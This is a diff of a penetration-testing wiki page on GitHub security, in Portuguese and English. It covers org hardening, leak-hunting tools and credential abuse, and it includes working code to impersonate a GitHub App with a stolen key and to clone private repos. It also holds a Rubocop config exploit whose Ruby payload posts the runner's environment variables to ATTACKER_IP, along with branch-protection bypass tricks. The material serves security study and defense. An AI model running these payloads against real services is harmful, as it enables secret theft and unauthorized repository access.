- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Vazamentos do Github
|
||||
### Github Leaks
|
||||
|
||||
Por favor, note que os github dorks também são destinados a pesquisar vazamentos usando opções de pesquisa do github. Esta seção é dedicada a aquelas ferramentas que irão **baixar cada repositório e procurar informações sensíveis neles** (até verificando certa profundidade de commits).
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
|
||||
Ferramentas (cada ferramenta contém sua lista de regexes):
|
||||
Tools (each tool contains its list of regexes):
|
||||
|
||||
Verifique esta página: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> Quando você procura por vazamentos em um repositório e executa algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos!
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
|
||||
### Forks Externos
|
||||
### External Forks
|
||||
|
||||
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml das Ações do Github. [**Mais informações sobre isso abaixo**](#execution-from-a-external-fork).
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
|
||||
|
||||
### Vazamentos do Github em forks deletados/internos
|
||||
### Github Leaks in deleted/internal forks
|
||||
|
||||
Mesmo que deletados ou internos, pode ser possível obter dados sensíveis de forks de repositórios do github. Confira aqui:
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Fortalecimento da Organização
|
||||
## Organization Hardening
|
||||
|
||||
### Privilégios dos Membros
|
||||
### Member Privileges
|
||||
|
||||
Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros** da organização. Estes podem ser controlados a partir da página `https://github.com/organizations/<org_name>/settings/member_privileges` ou da [**API de Organizações**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Permissões básicas**: Os membros terão a permissão Nenhuma/Leitura/escrita/Admin sobre os repositórios da org. O recomendado é **Nenhuma** ou **Leitura**.
|
||||
- **Forking de repositórios**: Se não for necessário, é melhor **não permitir** que os membros façam fork dos repositórios da organização.
|
||||
- **Criação de páginas**: Se não for necessário, é melhor **não permitir** que os membros publiquem páginas dos repositórios da org. Se necessário, você pode permitir a criação de páginas públicas ou privadas.
|
||||
- **Solicitações de acesso à integração**: Com isso habilitado, colaboradores externos poderão solicitar acesso a aplicativos do GitHub ou OAuth para acessar esta organização e seus recursos. Geralmente é necessário, mas se não for, é melhor desabilitar.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Mudança de visibilidade do repositório**: Se habilitado, **membros** com permissões **admin** para o **repositório** poderão **mudar sua visibilidade**. Se desabilitado, apenas os proprietários da organização podem mudar as visibilidades dos repositórios. Se você **não** quiser que as pessoas tornem as coisas **públicas**, certifique-se de que isso esteja **desabilitado**.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Exclusão e transferência de repositórios**: Se habilitado, membros com permissões **admin** para o repositório poderão **excluir** ou **transferir** repositórios **públicos e privados**.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Permitir que membros criem equipes**: Se habilitado, qualquer **membro** da organização poderá **criar** novas **equipes**. Se desabilitado, apenas os proprietários da organização podem criar novas equipes. É melhor ter isso desabilitado.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Mais coisas podem ser configuradas** nesta página, mas as anteriores são as mais relacionadas à segurança.
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
|
||||
### Configurações de Ações
|
||||
### Actions Settings
|
||||
|
||||
Várias configurações relacionadas à segurança podem ser configuradas para ações a partir da página `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que todas essas configurações também podem ser definidas em cada repositório de forma independente.
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
|
||||
- **Políticas de ações do Github**: Permite indicar quais repositórios podem executar fluxos de trabalho e quais fluxos de trabalho devem ser permitidos. É recomendado **especificar quais repositórios** devem ser permitidos e não permitir que todas as ações sejam executadas.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fluxos de trabalho de pull requests de forks de colaboradores externos**: É recomendado **exigir aprovação para todos** os colaboradores externos.
|
||||
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
|
||||
- **Executar fluxos de trabalho de pull requests de forks**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
|
||||
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
|
||||
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura do repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado aos fluxos de trabalho em execução.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrações
|
||||
### Integrations
|
||||
|
||||
_Deixe-me saber se você conhece o endpoint da API para acessar essa informação!_
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
|
||||
- **Política de acesso a aplicativos de terceiros**: É recomendado restringir o acesso a todos os aplicativos e permitir apenas os necessários (após revisá-los).
|
||||
- **Aplicativos do GitHub instalados**: É recomendado permitir apenas os necessários (após revisá-los).
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
|
||||
## Reconhecimento e Ataques abusando de credenciais
|
||||
## Recon & Attacks abusing credentials
|
||||
|
||||
Para este cenário, vamos supor que você obteve algum acesso a uma conta do github.
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
### Com Credenciais de Usuário
|
||||
### With User Credentials
|
||||
|
||||
Se de alguma forma você já tem credenciais de um usuário dentro de uma organização, você pode **apenas fazer login** e verificar quais **papéis de empresa e organização você tem**, se você é um membro comum, verifique quais **permissões os membros comuns têm**, em quais **grupos** você está, quais **permissões você tem** sobre quais **repositórios** e **como os repositórios estão protegidos**.
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
|
||||
Note que **2FA pode ser usado**, então você só poderá acessar essas informações se também conseguir **passar por essa verificação**.
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que se você **conseguir roubar o cookie `user_session`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
Verifique a seção abaixo sobre [**bypasses de proteção de branch**](#branch-protection-bypass) caso seja útil.
|
||||
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
|
||||
|
||||
### Com Chave SSH de Usuário
|
||||
### With User SSH Key
|
||||
|
||||
O Github permite que **usuários** definam **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
Com esta chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do github para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e o usuário ao qual você tem acesso:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Se o usuário configurou seu nome de usuário como seu nome de usuário do github, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<github_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
|
||||
|
||||
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### Chaves GPG
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
Conforme explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto.
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
Verifique localmente se o usuário atual possui alguma chave com:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Com Token de Usuário
|
||||
|
||||
Para uma introdução sobre [**Tokens de Usuário, verifique as informações básicas**](basic-github-information.md#personal-access-tokens).
|
||||
### With User Token
|
||||
|
||||
Um token de usuário pode ser usado **em vez de uma senha** para Git sobre HTTPS, ou pode ser usado para [**autenticar na API via Autenticação Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependendo dos privilégios associados a ele, você pode ser capaz de realizar diferentes ações.
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
Um token de usuário se parece com isto: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
|
||||
### Com Aplicativo Oauth
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
Para uma introdução sobre [**Aplicativos Oauth do Github, verifique as informações básicas**](basic-github-information.md#oauth-applications).
|
||||
### With Oauth Application
|
||||
|
||||
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
|
||||
Esses são os [escopos que um aplicativo Oauth pode solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Um deve sempre verificar os escopos solicitados antes de aceitá-los.
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
|
||||
### Com Aplicativo Github
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
Para uma introdução sobre [**Aplicativos do Github, verifique as informações básicas**](basic-github-information.md#github-applications).
|
||||
### With Github Application
|
||||
|
||||
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
|
||||
Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
#### Impersonar um App do GitHub com sua chave privada (JWT → tokens de acesso de instalação)
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
Se você obtiver a chave privada (PEM) de um App do GitHub, poderá impersonar totalmente o app em todas as suas instalações:
|
||||
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
|
||||
|
||||
- Gere um JWT de curta duração assinado com a chave privada
|
||||
- Chame a API REST do App do GitHub para enumerar instalações
|
||||
- Crie tokens de acesso por instalação e use-os para listar/clonar/enviar para repositórios concedidos a essa instalação
|
||||
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
|
||||
|
||||
Requisitos:
|
||||
- Chave privada do App do GitHub (PEM)
|
||||
- ID do App do GitHub (numérico). O GitHub requer que iss seja o ID do App
|
||||
- Generate a short‑lived JWT signed with the private key
|
||||
- Call the GitHub App REST API to enumerate installations
|
||||
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
|
||||
|
||||
Requirements:
|
||||
- GitHub App private key (PEM)
|
||||
- GitHub App ID (numeric). GitHub requires iss to be the App ID
|
||||
|
||||
Create JWT (RS256):
|
||||
|
||||
Crie JWT (RS256):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
Liste as instalações para o aplicativo autenticado:
|
||||
|
||||
List installations for the authenticated app:
|
||||
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
Crie um token de acesso de instalação (válido ≤ 10 minutos):
|
||||
|
||||
Create an installation access token (valid ≤ 10 minutes):
|
||||
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
Use o token para acessar o código. Você pode clonar ou enviar usando a forma de URL x‑access‑token:
|
||||
|
||||
Use the token to access code. You can clone or push using the x‑access‑token URL form:
|
||||
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
PoC programático para direcionar uma organização específica e listar repositórios privados (PyGithub + PyJWT):
|
||||
|
||||
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
@@ -240,53 +253,57 @@ print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
Notas:
|
||||
- Tokens de instalação herdam exatamente as permissões de nível de repositório do aplicativo (por exemplo, contents: write, pull_requests: write)
|
||||
- Tokens expiram em ≤10 minutos, mas novos tokens podem ser gerados indefinidamente enquanto você mantiver a chave privada
|
||||
- Você também pode enumerar instalações via a API REST (GET /app/installations) usando o JWT
|
||||
|
||||
## Comprometimento & Abuso do Github Action
|
||||
Notes:
|
||||
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
|
||||
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
|
||||
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
|
||||
|
||||
Existem várias técnicas para comprometer e abusar de um Github Action, confira-as aqui:
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Abusando de aplicativos GitHub de terceiros que executam ferramentas externas (RCE da extensão Rubocop)
|
||||
## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)
|
||||
|
||||
Alguns aplicativos GitHub e serviços de revisão de PR executam linters/SAST externos contra pull requests usando arquivos de configuração controlados pelo repositório. Se uma ferramenta suportada permitir o carregamento dinâmico de código, um PR pode alcançar RCE no runner do serviço.
|
||||
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
|
||||
|
||||
Exemplo: Rubocop suporta o carregamento de extensões a partir de sua configuração YAML. Se o serviço passar por um .rubocop.yml fornecido pelo repositório, você pode executar Ruby arbitrário ao requerer um arquivo local.
|
||||
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
|
||||
|
||||
- As condições de disparo geralmente incluem:
|
||||
- A ferramenta está habilitada no serviço
|
||||
- O PR contém arquivos que a ferramenta reconhece (para Rubocop: .rb)
|
||||
- O repositório contém o arquivo de configuração da ferramenta (Rubocop procura por .rubocop.yml em qualquer lugar)
|
||||
- Trigger conditions usually include:
|
||||
- The tool is enabled in the service
|
||||
- The PR contains files the tool recognizes (for Rubocop: .rb)
|
||||
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
|
||||
|
||||
Arquivos de exploração no PR:
|
||||
Exploit files in the PR:
|
||||
|
||||
.rubocop.yml
|
||||
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
- ./ext.rb
|
||||
```
|
||||
ext.rb (exfiltrar variáveis de ambiente do runner):
|
||||
|
||||
ext.rb (exfiltrate runner env vars):
|
||||
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
@@ -297,92 +314,99 @@ json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
Também inclua um arquivo Ruby fictício suficientemente grande (por exemplo, main.rb) para que o linter realmente funcione.
|
||||
|
||||
Impacto observado no mundo real:
|
||||
- Execução completa de código no runner de produção que executou o linter
|
||||
- Exfiltração de variáveis de ambiente sensíveis, incluindo a chave privada do GitHub App usada pelo serviço, chaves de API, credenciais de DB, etc.
|
||||
- Com uma chave privada do GitHub App vazada, você pode gerar tokens de instalação e obter acesso de leitura/gravação a todos os repositórios concedidos a esse app (veja a seção acima sobre a impersonação do GitHub App)
|
||||
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
|
||||
|
||||
Diretrizes de endurecimento para serviços que executam ferramentas externas:
|
||||
- Trate as configurações de ferramentas fornecidas pelo repositório como código não confiável
|
||||
- Execute ferramentas em sandboxes isoladas com rigor, sem variáveis de ambiente sensíveis montadas
|
||||
- Aplique credenciais de menor privilégio e isolamento de sistema de arquivos, e restrinja/negue a saída de rede para ferramentas que não requerem acesso à internet
|
||||
Impact observed in the wild:
|
||||
- Full code execution on the production runner that executed the linter
|
||||
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
|
||||
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
|
||||
|
||||
## Bypass de Proteção de Branch
|
||||
Hardening guidelines for services running external tools:
|
||||
- Treat repository‑provided tool configs as untrusted code
|
||||
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
|
||||
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access
|
||||
|
||||
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você tiver apenas a conta de onde criou o PR, não poderá aceitar seu próprio PR. No entanto, se você tiver acesso a um ambiente **Github Action** dentro do repositório, usando o **GITHUB_TOKEN**, pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
|
||||
- _Nota para isso e para a restrição de Code Owners que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
|
||||
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove e colocar código malicioso e mesclá-lo no branch protegido.
|
||||
- **Exigir revisões de Code Owners**: Se isso estiver ativado e você for um Code Owner, poderá fazer um **Github Action criar seu PR e então aprová-lo você mesmo**.
|
||||
- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Code Owners não é aplicada.**
|
||||
- **Permitir que atores especificados contornem os requisitos de pull request**: Se você for um desses atores, pode contornar as proteções de pull request.
|
||||
- **Incluir administradores**: Se isso não estiver configurado e você for administrador do repositório, pode contornar essas proteções de branch.
|
||||
- **Sequestro de PR**: Você pode ser capaz de **modificar o PR de outra pessoa** adicionando código malicioso, aprovando o PR resultante você mesmo e mesclando tudo.
|
||||
- **Removendo Proteções de Branch**: Se você for um **administrador do repositório, pode desativar as proteções**, mesclar seu PR e reativar as proteções.
|
||||
- **Contornando proteções de push**: Se um repositório **somente permite que certos usuários** enviem push (mesclem código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
|
||||
- Se você tiver **acesso de gravação ao repositório, mas não for permitido enviar código** devido à proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **github action que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que seja criada**, esse primeiro push de código para a branch **executará a github action**.
|
||||
## Branch Protection Bypass
|
||||
|
||||
## Contornar Proteções de Ambientes
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
